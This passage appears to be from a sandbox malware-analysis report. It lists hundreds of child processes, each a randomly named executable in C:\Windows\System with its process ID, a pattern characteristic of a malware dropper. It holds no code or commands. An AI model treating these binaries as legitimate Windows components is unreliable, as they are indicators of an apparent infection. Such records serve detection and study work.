- C:\Windows\System\BMMpUkQ.exe
  C:\Windows\System\BMMpUkQ.exe
  2⤵
  PID:4968
- C:\Windows\System\ndcAqFd.exe
  C:\Windows\System\ndcAqFd.exe
  2⤵
  PID:4984
- C:\Windows\System\XaPvyPm.exe
  C:\Windows\System\XaPvyPm.exe
  2⤵
  PID:5000
- C:\Windows\System\PpVqlqq.exe
  C:\Windows\System\PpVqlqq.exe
  2⤵
  PID:5016
- C:\Windows\System\aAhSZcf.exe
  C:\Windows\System\aAhSZcf.exe
  2⤵
  PID:5032
- C:\Windows\System\WeASmTS.exe
  C:\Windows\System\WeASmTS.exe
  2⤵
  PID:5048
- C:\Windows\System\wWsNXgs.exe
  C:\Windows\System\wWsNXgs.exe
  2⤵
  PID:5064
- C:\Windows\System\WCUVAfl.exe
  C:\Windows\System\WCUVAfl.exe
  2⤵
  PID:5080
- C:\Windows\System\wJmBhpl.exe
  C:\Windows\System\wJmBhpl.exe
  2⤵
  PID:5096
- C:\Windows\System\rxULzLZ.exe
  C:\Windows\System\rxULzLZ.exe
  2⤵
  PID:5112
- C:\Windows\System\LgRUsWj.exe
  C:\Windows\System\LgRUsWj.exe
  2⤵
  PID:2332
- C:\Windows\System\TBxvqLJ.exe
  C:\Windows\System\TBxvqLJ.exe
  2⤵
  PID:3872
- C:\Windows\System\AQWGlcv.exe
  C:\Windows\System\AQWGlcv.exe
  2⤵
  PID:4124
- C:\Windows\System\SQhQmxL.exe
  C:\Windows\System\SQhQmxL.exe
  2⤵
  PID:4188
- C:\Windows\System\sFwnkEG.exe
  C:\Windows\System\sFwnkEG.exe
  2⤵
  PID:4252
- C:\Windows\System\RTswcxY.exe
  C:\Windows\System\RTswcxY.exe
  2⤵
  PID:4316
- C:\Windows\System\jEKyrSv.exe
  C:\Windows\System\jEKyrSv.exe
  2⤵
  PID:4352
- C:\Windows\System\RSDjcYM.exe
  C:\Windows\System\RSDjcYM.exe
  2⤵
  PID:4416
- C:\Windows\System\gsxPjrW.exe
  C:\Windows\System\gsxPjrW.exe
  2⤵
  PID:4484
- C:\Windows\System\LbJZCkR.exe
  C:\Windows\System\LbJZCkR.exe
  2⤵
  PID:4544
- C:\Windows\System\eYIEMqe.exe
  C:\Windows\System\eYIEMqe.exe
  2⤵
  PID:4612
- C:\Windows\System\qiguujE.exe
  C:\Windows\System\qiguujE.exe
  2⤵
  PID:4676
- C:\Windows\System\hczyvGj.exe
  C:\Windows\System\hczyvGj.exe
  2⤵
  PID:4740
- C:\Windows\System\LYnuKUb.exe
  C:\Windows\System\LYnuKUb.exe
  2⤵
  PID:4804
- C:\Windows\System\XQHzXIc.exe
  C:\Windows\System\XQHzXIc.exe
  2⤵
  PID:4868
- C:\Windows\System\LZjcNnF.exe
  C:\Windows\System\LZjcNnF.exe
  2⤵
  PID:4932
- C:\Windows\System\xABSLmh.exe
  C:\Windows\System\xABSLmh.exe
  2⤵
  PID:4996
- C:\Windows\System\jptqpOv.exe
  C:\Windows\System\jptqpOv.exe
  2⤵
  PID:5060
- C:\Windows\System\GGvGkXi.exe
  C:\Windows\System\GGvGkXi.exe
  2⤵
  PID:1020
- C:\Windows\System\gUMqbFQ.exe
  C:\Windows\System\gUMqbFQ.exe
  2⤵
  PID:4224
- C:\Windows\System\ddRmMKI.exe
  C:\Windows\System\ddRmMKI.exe
  2⤵
  PID:4480
- C:\Windows\System\WQEDOhw.exe
  C:\Windows\System\WQEDOhw.exe
  2⤵
  PID:4708
- C:\Windows\System\pjZOGdw.exe
  C:\Windows\System\pjZOGdw.exe
  2⤵
  PID:4964
- C:\Windows\System\oVEdCkJ.exe
  C:\Windows\System\oVEdCkJ.exe
  2⤵
  PID:4000
- C:\Windows\System\ypZdEcr.exe
  C:\Windows\System\ypZdEcr.exe
  2⤵
  PID:4836
- C:\Windows\System\McqaGaB.exe
  C:\Windows\System\McqaGaB.exe
  2⤵
  PID:5132
- C:\Windows\System\xWFKMCm.exe
  C:\Windows\System\xWFKMCm.exe
  2⤵
  PID:5148
- C:\Windows\System\uJHqYQE.exe
  C:\Windows\System\uJHqYQE.exe
  2⤵
  PID:5164
- C:\Windows\System\KEWkJIt.exe
  C:\Windows\System\KEWkJIt.exe
  2⤵
  PID:5180
- C:\Windows\System\SeaGnsw.exe
  C:\Windows\System\SeaGnsw.exe
  2⤵
  PID:5196
- C:\Windows\System\GhHQqYz.exe
  C:\Windows\System\GhHQqYz.exe
  2⤵
  PID:5212
- C:\Windows\System\xZFMTeP.exe
  C:\Windows\System\xZFMTeP.exe
  2⤵
  PID:5228
- C:\Windows\System\GXWFfPT.exe
  C:\Windows\System\GXWFfPT.exe
  2⤵
  PID:5244
- C:\Windows\System\PzolALA.exe
  C:\Windows\System\PzolALA.exe
  2⤵
  PID:5260
- C:\Windows\System\vTQwsVU.exe
  C:\Windows\System\vTQwsVU.exe
  2⤵
  PID:5276
- C:\Windows\System\mdQVilU.exe
  C:\Windows\System\mdQVilU.exe
  2⤵
  PID:5292
- C:\Windows\System\yGrLpxk.exe
  C:\Windows\System\yGrLpxk.exe
  2⤵
  PID:5308
- C:\Windows\System\basJlru.exe
  C:\Windows\System\basJlru.exe
  2⤵
  PID:5324
- C:\Windows\System\SjHwfcU.exe
  C:\Windows\System\SjHwfcU.exe
  2⤵
  PID:5340
- C:\Windows\System\ItbgTgJ.exe
  C:\Windows\System\ItbgTgJ.exe
  2⤵
  PID:5356
- C:\Windows\System\eVgMLzw.exe
  C:\Windows\System\eVgMLzw.exe
  2⤵
  PID:5372
- C:\Windows\System\umBDYSn.exe
  C:\Windows\System\umBDYSn.exe
  2⤵
  PID:5388
- C:\Windows\System\FaHfTVM.exe
  C:\Windows\System\FaHfTVM.exe
  2⤵
  PID:5404
- C:\Windows\System\zdwtHCo.exe
  C:\Windows\System\zdwtHCo.exe
  2⤵
  PID:5420
- C:\Windows\System\cadqkEI.exe
  C:\Windows\System\cadqkEI.exe
  2⤵
  PID:5436
- C:\Windows\System\hzBNJxr.exe
  C:\Windows\System\hzBNJxr.exe
  2⤵
  PID:5452
- C:\Windows\System\DQxfoDh.exe
  C:\Windows\System\DQxfoDh.exe
  2⤵
  PID:5468
- C:\Windows\System\jEQrttQ.exe
  C:\Windows\System\jEQrttQ.exe
  2⤵
  PID:5484
- C:\Windows\System\YjeNhoy.exe
  C:\Windows\System\YjeNhoy.exe
  2⤵
  PID:5500
- C:\Windows\System\MciXjJF.exe
  C:\Windows\System\MciXjJF.exe
  2⤵
  PID:5520
- C:\Windows\System\IuvZxbe.exe
  C:\Windows\System\IuvZxbe.exe
  2⤵
  PID:5536
- C:\Windows\System\omTbQkh.exe
  C:\Windows\System\omTbQkh.exe
  2⤵
  PID:5552
- C:\Windows\System\zmPYTUI.exe
  C:\Windows\System\zmPYTUI.exe
  2⤵
  PID:5568
- C:\Windows\System\HFfvcOc.exe
  C:\Windows\System\HFfvcOc.exe
  2⤵
  PID:5584
- C:\Windows\System\vtzWbHK.exe
  C:\Windows\System\vtzWbHK.exe
  2⤵
  PID:5600
- C:\Windows\System\wJtcWTj.exe
  C:\Windows\System\wJtcWTj.exe
  2⤵
  PID:5616
- C:\Windows\System\tElOHgW.exe
  C:\Windows\System\tElOHgW.exe
  2⤵
  PID:5632
- C:\Windows\System\IlQBwRB.exe
  C:\Windows\System\IlQBwRB.exe
  2⤵
  PID:5648
- C:\Windows\System\vqaswIT.exe
  C:\Windows\System\vqaswIT.exe
  2⤵
  PID:5664
- C:\Windows\System\mlqyyuA.exe
  C:\Windows\System\mlqyyuA.exe
  2⤵
  PID:5680
- C:\Windows\System\nrZtqMn.exe
  C:\Windows\System\nrZtqMn.exe
  2⤵
  PID:5696
- C:\Windows\System\BqsOCco.exe
  C:\Windows\System\BqsOCco.exe
  2⤵
  PID:5712
- C:\Windows\System\aQKICzp.exe
  C:\Windows\System\aQKICzp.exe
  2⤵
  PID:5728
- C:\Windows\System\HvsLUdb.exe
  C:\Windows\System\HvsLUdb.exe
  2⤵
  PID:5744
- C:\Windows\System\WvYLdgv.exe
  C:\Windows\System\WvYLdgv.exe
  2⤵
  PID:5760
- C:\Windows\System\JjbRhAw.exe
  C:\Windows\System\JjbRhAw.exe
  2⤵
  PID:5776
- C:\Windows\System\YOuDSym.exe
  C:\Windows\System\YOuDSym.exe
  2⤵
  PID:5792
- C:\Windows\System\fFTKuQK.exe
  C:\Windows\System\fFTKuQK.exe
  2⤵
  PID:5808
- C:\Windows\System\ptACfKJ.exe
  C:\Windows\System\ptACfKJ.exe
  2⤵
  PID:5824
- C:\Windows\System\fvXCoub.exe
  C:\Windows\System\fvXCoub.exe
  2⤵
  PID:5840
- C:\Windows\System\PHHIFAZ.exe
  C:\Windows\System\PHHIFAZ.exe
  2⤵
  PID:5856
- C:\Windows\System\gYFlsul.exe
  C:\Windows\System\gYFlsul.exe
  2⤵
  PID:5872
- C:\Windows\System\fHnnuLd.exe
  C:\Windows\System\fHnnuLd.exe
  2⤵
  PID:5888
- C:\Windows\System\gCYkFHt.exe
  C:\Windows\System\gCYkFHt.exe
  2⤵
  PID:5904
- C:\Windows\System\VyMWjJq.exe
  C:\Windows\System\VyMWjJq.exe
  2⤵
  PID:5920
- C:\Windows\System\ywnOeQk.exe
  C:\Windows\System\ywnOeQk.exe
  2⤵
  PID:5936
- C:\Windows\System\RneEbqd.exe
  C:\Windows\System\RneEbqd.exe
  2⤵
  PID:5952
- C:\Windows\System\zItDiWR.exe
  C:\Windows\System\zItDiWR.exe
  2⤵
  PID:5968
- C:\Windows\System\GDBLFYU.exe
  C:\Windows\System\GDBLFYU.exe
  2⤵
  PID:5984
- C:\Windows\System\RmyfZqv.exe
  C:\Windows\System\RmyfZqv.exe
  2⤵
  PID:6000
- C:\Windows\System\uozjGzY.exe
  C:\Windows\System\uozjGzY.exe
  2⤵
  PID:6016
- C:\Windows\System\nvLNKnS.exe
  C:\Windows\System\nvLNKnS.exe
  2⤵
  PID:6032
- C:\Windows\System\nTtCzbp.exe
  C:\Windows\System\nTtCzbp.exe
  2⤵
  PID:6048
- C:\Windows\System\HCVRYXi.exe
  C:\Windows\System\HCVRYXi.exe
  2⤵
  PID:6064
- C:\Windows\System\kTsJFCh.exe
  C:\Windows\System\kTsJFCh.exe
  2⤵
  PID:6080
- C:\Windows\System\AmWcTPS.exe
  C:\Windows\System\AmWcTPS.exe
  2⤵
  PID:6096
- C:\Windows\System\lxIdceV.exe
  C:\Windows\System\lxIdceV.exe
  2⤵
  PID:6112
- C:\Windows\System\BmuMGZS.exe
  C:\Windows\System\BmuMGZS.exe
  2⤵
  PID:6128
- C:\Windows\System\EbXTiFD.exe
  C:\Windows\System\EbXTiFD.exe
  2⤵
  PID:2256
- C:\Windows\System\Ruvlflr.exe
  C:\Windows\System\Ruvlflr.exe
  2⤵
  PID:5144
- C:\Windows\System\RGfjwyZ.exe
  C:\Windows\System\RGfjwyZ.exe
  2⤵
  PID:2028
- C:\Windows\System\YRZYPxx.exe
  C:\Windows\System\YRZYPxx.exe
  2⤵
  PID:5240
- C:\Windows\System\JrNfEfX.exe
  C:\Windows\System\JrNfEfX.exe
  2⤵
  PID:2036
- C:\Windows\System\evywQSQ.exe
  C:\Windows\System\evywQSQ.exe
  2⤵
  PID:2248
- C:\Windows\System\YguKkWj.exe
  C:\Windows\System\YguKkWj.exe
  2⤵
  PID:5332
- C:\Windows\System\nnxZWYa.exe
  C:\Windows\System\nnxZWYa.exe
  2⤵
  PID:1980
- C:\Windows\System\jKJxjrV.exe
  C:\Windows\System\jKJxjrV.exe
  2⤵
  PID:5428
- C:\Windows\System\ftHEeKh.exe
  C:\Windows\System\ftHEeKh.exe
  2⤵
  PID:5492
- C:\Windows\System\PZXtfFQ.exe
  C:\Windows\System\PZXtfFQ.exe
  2⤵
  PID:5532
- C:\Windows\System\AaQvKwH.exe
  C:\Windows\System\AaQvKwH.exe
  2⤵
  PID:1148
- C:\Windows\System\hBbfuMb.exe
  C:\Windows\System\hBbfuMb.exe
  2⤵
  PID:1804
- C:\Windows\System\wLdiBrr.exe
  C:\Windows\System\wLdiBrr.exe
  2⤵
  PID:5628
- C:\Windows\System\lTSFwYY.exe
  C:\Windows\System\lTSFwYY.exe
  2⤵
  PID:5660
- C:\Windows\System\ttDBgdQ.exe
  C:\Windows\System\ttDBgdQ.exe
  2⤵
  PID:5752
- C:\Windows\System\KPQbvvW.exe
  C:\Windows\System\KPQbvvW.exe
  2⤵
  PID:5816
- C:\Windows\System\nPLZgJz.exe
  C:\Windows\System\nPLZgJz.exe
  2⤵
  PID:5848
- C:\Windows\System\badYyfD.exe
  C:\Windows\System\badYyfD.exe
  2⤵
  PID:5912
- C:\Windows\System\FMovyhf.exe
  C:\Windows\System\FMovyhf.exe
  2⤵
  PID:5980
- C:\Windows\System\vfyaAnV.exe
  C:\Windows\System\vfyaAnV.exe
  2⤵
  PID:6044
- C:\Windows\System\SrIeAxi.exe
  C:\Windows\System\SrIeAxi.exe
  2⤵
  PID:6108
- C:\Windows\System\eWTrDMY.exe
  C:\Windows\System\eWTrDMY.exe
  2⤵
  PID:2280
- C:\Windows\System\KtfAztG.exe
  C:\Windows\System\KtfAztG.exe
  2⤵
  PID:2848
- C:\Windows\System\LvlHLIg.exe
  C:\Windows\System\LvlHLIg.exe
  2⤵
  PID:1488
- C:\Windows\System\PsVoXEJ.exe
  C:\Windows\System\PsVoXEJ.exe
  2⤵
  PID:692
- C:\Windows\System\GnddiDS.exe
  C:\Windows\System\GnddiDS.exe
  2⤵
  PID:1668
- C:\Windows\System\jDWVuKD.exe
  C:\Windows\System\jDWVuKD.exe
  2⤵
  PID:4452
- C:\Windows\System\UlVPTND.exe
  C:\Windows\System\UlVPTND.exe
  2⤵
  PID:5304
- C:\Windows\System\VsCGJPE.exe
  C:\Windows\System\VsCGJPE.exe
  2⤵
  PID:1996
- C:\Windows\System\CoTyVxs.exe
  C:\Windows\System\CoTyVxs.exe
  2⤵
  PID:1320
- C:\Windows\System\hgpVGSj.exe
  C:\Windows\System\hgpVGSj.exe
  2⤵
  PID:5880
- C:\Windows\System\DQOkLcO.exe
  C:\Windows\System\DQOkLcO.exe
  2⤵
  PID:6140
- C:\Windows\System\PbUkKzc.exe
  C:\Windows\System\PbUkKzc.exe
  2⤵
  PID:2752
- C:\Windows\System\KMObdbw.exe
  C:\Windows\System\KMObdbw.exe
  2⤵
  PID:1244
- C:\Windows\System\xixJARK.exe
  C:\Windows\System\xixJARK.exe
  2⤵
  PID:772
- C:\Windows\System\dxeCJpY.exe
  C:\Windows\System\dxeCJpY.exe
  2⤵
  PID:2376
- C:\Windows\System\mPXllLw.exe
  C:\Windows\System\mPXllLw.exe
  2⤵
  PID:1400
- C:\Windows\System\IhwCNgh.exe
  C:\Windows\System\IhwCNgh.exe
  2⤵
  PID:1004
- C:\Windows\System\jFvtJJj.exe
  C:\Windows\System\jFvtJJj.exe
  2⤵
  PID:1500
- C:\Windows\System\lThNcmn.exe
  C:\Windows\System\lThNcmn.exe
  2⤵
  PID:5596
- C:\Windows\System\IqfxaFG.exe
  C:\Windows\System\IqfxaFG.exe
  2⤵
  PID:6040
- C:\Windows\System\hoxYHuT.exe
  C:\Windows\System\hoxYHuT.exe
  2⤵
  PID:1992
- C:\Windows\System\ZNLTgmZ.exe
  C:\Windows\System\ZNLTgmZ.exe
  2⤵
  PID:2928
- C:\Windows\System\tUgTPXp.exe
  C:\Windows\System\tUgTPXp.exe
  2⤵
  PID:1624
- C:\Windows\System\LbyNghL.exe
  C:\Windows\System\LbyNghL.exe
  2⤵
  PID:2696
- C:\Windows\System\ADTWZnz.exe
  C:\Windows\System\ADTWZnz.exe
  2⤵
  PID:2668
- C:\Windows\System\hVroqKr.exe
  C:\Windows\System\hVroqKr.exe
  2⤵
  PID:2396
- C:\Windows\System\iwymrfT.exe
  C:\Windows\System\iwymrfT.exe
  2⤵
  PID:956
- C:\Windows\System\ZqtBejs.exe
  C:\Windows\System\ZqtBejs.exe
  2⤵
  PID:1508
- C:\Windows\System\rwEmOGg.exe
  C:\Windows\System\rwEmOGg.exe
  2⤵
  PID:2476
- C:\Windows\System\SZkksoI.exe
  C:\Windows\System\SZkksoI.exe
  2⤵
  PID:2320
- C:\Windows\System\HHRfIwA.exe
  C:\Windows\System\HHRfIwA.exe
  2⤵
  PID:6156
- C:\Windows\System\WtkMrrd.exe
  C:\Windows\System\WtkMrrd.exe
  2⤵
  PID:6172
- C:\Windows\System\lZFKKBX.exe
  C:\Windows\System\lZFKKBX.exe
  2⤵
  PID:6188
- C:\Windows\System\ugscMfK.exe
  C:\Windows\System\ugscMfK.exe
  2⤵
  PID:6204
- C:\Windows\System\ouLngRA.exe
  C:\Windows\System\ouLngRA.exe
  2⤵
  PID:6220
- C:\Windows\System\UsWTKhs.exe
  C:\Windows\System\UsWTKhs.exe
  2⤵
  PID:6236
- C:\Windows\System\WATeWwZ.exe
  C:\Windows\System\WATeWwZ.exe
  2⤵
  PID:6252
- C:\Windows\System\taTfvEL.exe
  C:\Windows\System\taTfvEL.exe
  2⤵
  PID:6268
- C:\Windows\System\OeepHwl.exe
  C:\Windows\System\OeepHwl.exe
  2⤵
  PID:6284
- C:\Windows\System\FoHpMTs.exe
  C:\Windows\System\FoHpMTs.exe
  2⤵
  PID:6300
- C:\Windows\System\OyROFag.exe
  C:\Windows\System\OyROFag.exe
  2⤵
  PID:6316
- C:\Windows\System\oAUXSIQ.exe
  C:\Windows\System\oAUXSIQ.exe
  2⤵
  PID:6332
- C:\Windows\System\amexzKG.exe
  C:\Windows\System\amexzKG.exe
  2⤵
  PID:6348
- C:\Windows\System\QDbbuES.exe
  C:\Windows\System\QDbbuES.exe
  2⤵
  PID:6364
- C:\Windows\System\bepchsV.exe
  C:\Windows\System\bepchsV.exe
  2⤵
  PID:6380
- C:\Windows\System\GXNUEGF.exe
  C:\Windows\System\GXNUEGF.exe
  2⤵
  PID:6396
- C:\Windows\System\iHgODPG.exe
  C:\Windows\System\iHgODPG.exe
  2⤵
  PID:6412
- C:\Windows\System\hoprKHN.exe
  C:\Windows\System\hoprKHN.exe
  2⤵
  PID:6428
- C:\Windows\System\acCYBXb.exe
  C:\Windows\System\acCYBXb.exe
  2⤵
  PID:6444
- C:\Windows\System\zNYbqhO.exe
  C:\Windows\System\zNYbqhO.exe
  2⤵
  PID:6460
- C:\Windows\System\RgHhGfD.exe
  C:\Windows\System\RgHhGfD.exe
  2⤵
  PID:6476
- C:\Windows\System\JGAWGmZ.exe
  C:\Windows\System\JGAWGmZ.exe
  2⤵
  PID:6492
- C:\Windows\System\qriTeOG.exe
  C:\Windows\System\qriTeOG.exe
  2⤵
  PID:6508
- C:\Windows\System\CYjgKzm.exe
  C:\Windows\System\CYjgKzm.exe
  2⤵
  PID:6524
- C:\Windows\System\OVuQEao.exe
  C:\Windows\System\OVuQEao.exe
  2⤵
  PID:6540
- C:\Windows\System\DZKgJpj.exe
  C:\Windows\System\DZKgJpj.exe
  2⤵
  PID:6560
- C:\Windows\System\MFWcghw.exe
  C:\Windows\System\MFWcghw.exe
  2⤵
  PID:6580
- C:\Windows\System\GsuiaUh.exe
  C:\Windows\System\GsuiaUh.exe
  2⤵
  PID:6596
- C:\Windows\System\FjmSSuQ.exe
  C:\Windows\System\FjmSSuQ.exe
  2⤵
  PID:6612
- C:\Windows\System\ZnfbDRm.exe
  C:\Windows\System\ZnfbDRm.exe
  2⤵
  PID:6628
- C:\Windows\System\ARLaxnM.exe
  C:\Windows\System\ARLaxnM.exe
  2⤵
  PID:6656
- C:\Windows\System\rWanIrA.exe
  C:\Windows\System\rWanIrA.exe
  2⤵
  PID:6672
- C:\Windows\System\dhHYZoT.exe
  C:\Windows\System\dhHYZoT.exe
  2⤵
  PID:6688
- C:\Windows\System\ywaVkvf.exe
  C:\Windows\System\ywaVkvf.exe
  2⤵
  PID:6704
- C:\Windows\System\ZDKZpxT.exe
  C:\Windows\System\ZDKZpxT.exe
  2⤵
  PID:6728
- C:\Windows\System\JGpZRbq.exe
  C:\Windows\System\JGpZRbq.exe
  2⤵
  PID:6748
- C:\Windows\System\oKiVgYN.exe
  C:\Windows\System\oKiVgYN.exe
  2⤵
  PID:6772
- C:\Windows\System\XORQWUS.exe
  C:\Windows\System\XORQWUS.exe
  2⤵
  PID:6796
- C:\Windows\System\LQTCISX.exe
  C:\Windows\System\LQTCISX.exe
  2⤵
  PID:6824
- C:\Windows\System\KKjrnrM.exe
  C:\Windows\System\KKjrnrM.exe
  2⤵
  PID:6840
- C:\Windows\System\jvYHLsb.exe
  C:\Windows\System\jvYHLsb.exe
  2⤵
  PID:6856
- C:\Windows\System\NcAejWC.exe
  C:\Windows\System\NcAejWC.exe
  2⤵
  PID:6872
- C:\Windows\System\mmoRJwO.exe
  C:\Windows\System\mmoRJwO.exe
  2⤵
  PID:6888
- C:\Windows\System\LowOjsw.exe
  C:\Windows\System\LowOjsw.exe
  2⤵
  PID:6904
- C:\Windows\System\KHsNZlx.exe
  C:\Windows\System\KHsNZlx.exe
  2⤵
  PID:6920
- C:\Windows\System\xPvyDGO.exe
  C:\Windows\System\xPvyDGO.exe
  2⤵
  PID:6936
- C:\Windows\System\wyaXxsn.exe
  C:\Windows\System\wyaXxsn.exe
  2⤵
  PID:6952
- C:\Windows\System\GmeLwgA.exe
  C:\Windows\System\GmeLwgA.exe
  2⤵
  PID:6972
- C:\Windows\System\qmSfZpu.exe
  C:\Windows\System\qmSfZpu.exe
  2⤵
  PID:6988
- C:\Windows\System\mRysVxy.exe
  C:\Windows\System\mRysVxy.exe
  2⤵
  PID:7004
- C:\Windows\System\GQkbvyt.exe
  C:\Windows\System\GQkbvyt.exe
  2⤵
  PID:7020
- C:\Windows\System\hAXnsio.exe
  C:\Windows\System\hAXnsio.exe
  2⤵
  PID:7036
- C:\Windows\System\yRDumYG.exe
  C:\Windows\System\yRDumYG.exe
  2⤵
  PID:7052
- C:\Windows\System\wYRVuPI.exe
  C:\Windows\System\wYRVuPI.exe
  2⤵
  PID:7068
- C:\Windows\System\aeYLocN.exe
  C:\Windows\System\aeYLocN.exe
  2⤵
  PID:7084
- C:\Windows\System\LzQowBk.exe
  C:\Windows\System\LzQowBk.exe
  2⤵
  PID:7100
- C:\Windows\System\YrnAnaW.exe
  C:\Windows\System\YrnAnaW.exe
  2⤵
  PID:7116
- C:\Windows\System\ObVaFzC.exe
  C:\Windows\System\ObVaFzC.exe
  2⤵
  PID:7132
- C:\Windows\System\GGHzAuE.exe
  C:\Windows\System\GGHzAuE.exe
  2⤵
  PID:7148
- C:\Windows\System\szkIMon.exe
  C:\Windows\System\szkIMon.exe
  2⤵
  PID:7164
- C:\Windows\System\zbmfDiR.exe
  C:\Windows\System\zbmfDiR.exe
  2⤵
  PID:3144
- C:\Windows\System\XNwKvfb.exe
  C:\Windows\System\XNwKvfb.exe
  2⤵
  PID:3212
- C:\Windows\System\UOIebOf.exe
  C:\Windows\System\UOIebOf.exe
  2⤵
  PID:3276
- C:\Windows\System\CsOCxNg.exe
  C:\Windows\System\CsOCxNg.exe
  2⤵
  PID:3336
- C:\Windows\System\dePvZFJ.exe
  C:\Windows\System\dePvZFJ.exe
  2⤵
  PID:3400
- C:\Windows\System\zpiXNyT.exe
  C:\Windows\System\zpiXNyT.exe
  2⤵
  PID:2244
- C:\Windows\System\xpLURSF.exe
  C:\Windows\System\xpLURSF.exe
  2⤵
  PID:6180
- C:\Windows\System\uZmiJue.exe
  C:\Windows\System\uZmiJue.exe
  2⤵
  PID:6244
- C:\Windows\System\OapKIAT.exe
  C:\Windows\System\OapKIAT.exe
  2⤵
  PID:6308
- C:\Windows\System\KojVoam.exe
  C:\Windows\System\KojVoam.exe
  2⤵
  PID:6344
- C:\Windows\System\cGZYCoj.exe
  C:\Windows\System\cGZYCoj.exe
  2⤵
  PID:3496
- C:\Windows\System\JMLhamN.exe
  C:\Windows\System\JMLhamN.exe
  2⤵
  PID:3564
- C:\Windows\System\icVuSwK.exe
  C:\Windows\System\icVuSwK.exe
  2⤵
  PID:2724
- C:\Windows\System\pKXAqxl.exe
  C:\Windows\System\pKXAqxl.exe
  2⤵
  PID:3724
- C:\Windows\System\sQTLVTs.exe
  C:\Windows\System\sQTLVTs.exe
  2⤵
  PID:6408
- C:\Windows\System\Spxvcsd.exe
  C:\Windows\System\Spxvcsd.exe
  2⤵
  PID:6472
- C:\Windows\System\erLtfzR.exe
  C:\Windows\System\erLtfzR.exe
  2⤵
  PID:3544
- C:\Windows\System\XPMxsqU.exe
  C:\Windows\System\XPMxsqU.exe
  2⤵
  PID:4300
- C:\Windows\System\QijfWYK.exe
  C:\Windows\System\QijfWYK.exe
  2⤵
  PID:4468
- C:\Windows\System\FTnEQrk.exe
  C:\Windows\System\FTnEQrk.exe
  2⤵
  PID:4688
- C:\Windows\System\ufuuQOE.exe
  C:\Windows\System\ufuuQOE.exe
  2⤵
  PID:4816
- C:\Windows\System\KBTLUFM.exe
  C:\Windows\System\KBTLUFM.exe
  2⤵
  PID:5040
- C:\Windows\System\JyYdYhP.exe
  C:\Windows\System\JyYdYhP.exe
  2⤵
  PID:4160
- C:\Windows\System\vsDeLYw.exe
  C:\Windows\System\vsDeLYw.exe
  2⤵
  PID:5124
- C:\Windows\System\QvyYLfw.exe
  C:\Windows\System\QvyYLfw.exe
  2⤵
  PID:5316
- C:\Windows\System\ahWrVBY.exe
  C:\Windows\System\ahWrVBY.exe
  2⤵
  PID:5444
- C:\Windows\System\MOhaWZl.exe
  C:\Windows\System\MOhaWZl.exe
  2⤵
  PID:1944
- C:\Windows\System\ExvEbxc.exe
  C:\Windows\System\ExvEbxc.exe
  2⤵
  PID:1820
- C:\Windows\System\awtnzCe.exe
  C:\Windows\System\awtnzCe.exe
  2⤵
  PID:3116
- C:\Windows\System\qLfzXmM.exe
  C:\Windows\System\qLfzXmM.exe
  2⤵
  PID:3728
- C:\Windows\System\kwjKCNH.exe
  C:\Windows\System\kwjKCNH.exe
  2⤵
  PID:3792
- C:\Windows\System\dwOdkVY.exe
  C:\Windows\System\dwOdkVY.exe
  2⤵
  PID:5092
- C:\Windows\System\uhWLruS.exe
  C:\Windows\System\uhWLruS.exe
  2⤵
  PID:3020
- C:\Windows\System\jogTNJV.exe
  C:\Windows\System\jogTNJV.exe
  2⤵
  PID:3464
- C:\Windows\System\QVYZGuS.exe
  C:\Windows\System\QVYZGuS.exe
  2⤵
  PID:3892
- C:\Windows\System\madyweW.exe
  C:\Windows\System\madyweW.exe
  2⤵
  PID:3984
- C:\Windows\System\OPrCDHP.exe
  C:\Windows\System\OPrCDHP.exe
  2⤵
  PID:4048
- C:\Windows\System\JIPgEjh.exe
  C:\Windows\System\JIPgEjh.exe
  2⤵
  PID:2548
- C:\Windows\System\BiSLieS.exe
  C:\Windows\System\BiSLieS.exe
  2⤵
  PID:3192
- C:\Windows\System\OIjkYYX.exe
  C:\Windows\System\OIjkYYX.exe
  2⤵
  PID:3420
- C:\Windows\System\kLoNAoe.exe
  C:\Windows\System\kLoNAoe.exe
  2⤵
  PID:3808
- C:\Windows\System\TuTvYbN.exe
  C:\Windows\System\TuTvYbN.exe
  2⤵
  PID:4144
- C:\Windows\System\qdNlivl.exe
  C:\Windows\System\qdNlivl.exe
  2⤵
  PID:4724
- C:\Windows\System\mMWcbJl.exe
  C:\Windows\System\mMWcbJl.exe
  2⤵
  PID:4220
- C:\Windows\System\pFaVUuF.exe
  C:\Windows\System\pFaVUuF.exe
  2⤵
  PID:5380
- C:\Windows\System\EkfviPB.exe
  C:\Windows\System\EkfviPB.exe
  2⤵
  PID:5512
- C:\Windows\System\qZTrAbX.exe
  C:\Windows\System\qZTrAbX.exe
  2⤵
  PID:6088
- C:\Windows\System\dEfVoAf.exe
  C:\Windows\System\dEfVoAf.exe
  2⤵
  PID:5724
- C:\Windows\System\eDIVOST.exe
  C:\Windows\System\eDIVOST.exe
  2⤵
  PID:2632
- C:\Windows\System\ZGyjeJs.exe
  C:\Windows\System\ZGyjeJs.exe
  2⤵
  PID:800
- C:\Windows\System\pIFcbPL.exe
  C:\Windows\System\pIFcbPL.exe
  2⤵
  PID:6980
- C:\Windows\System\vPYgvbp.exe
  C:\Windows\System\vPYgvbp.exe
  2⤵
  PID:7048
- C:\Windows\System\JwTeGuP.exe
  C:\Windows\System\JwTeGuP.exe
  2⤵
  PID:3308
- C:\Windows\System\MGltJkS.exe
  C:\Windows\System\MGltJkS.exe
  2⤵
  PID:3532
- C:\Windows\System\uqlEgol.exe
  C:\Windows\System\uqlEgol.exe
  2⤵
  PID:4020
- C:\Windows\System\dWhLHeL.exe
  C:\Windows\System\dWhLHeL.exe
  2⤵
  PID:6124
- C:\Windows\System\zGDiWyB.exe
  C:\Windows\System\zGDiWyB.exe
  2⤵
  PID:6636
- C:\Windows\System\EwUkopC.exe
  C:\Windows\System\EwUkopC.exe
  2⤵
  PID:1104
- C:\Windows\System\ZNyOzpx.exe
  C:\Windows\System\ZNyOzpx.exe
  2⤵
  PID:6740
- C:\Windows\System\CTHcjMC.exe
  C:\Windows\System\CTHcjMC.exe
  2⤵
  PID:1676
- C:\Windows\System\dPGPEmN.exe
  C:\Windows\System\dPGPEmN.exe
  2⤵
  PID:1736
- C:\Windows\System\vHPjrWV.exe
  C:\Windows\System\vHPjrWV.exe
  2⤵
  PID:6152
- C:\Windows\System\YTqXmQN.exe
  C:\Windows\System\YTqXmQN.exe
  2⤵
  PID:6948
- C:\Windows\System\uNCtzgY.exe
  C:\Windows\System\uNCtzgY.exe
  2⤵
  PID:6864
- C:\Windows\System\vQAYqmj.exe
  C:\Windows\System\vQAYqmj.exe
  2⤵
  PID:6328
- C:\Windows\System\OCwGFTe.exe
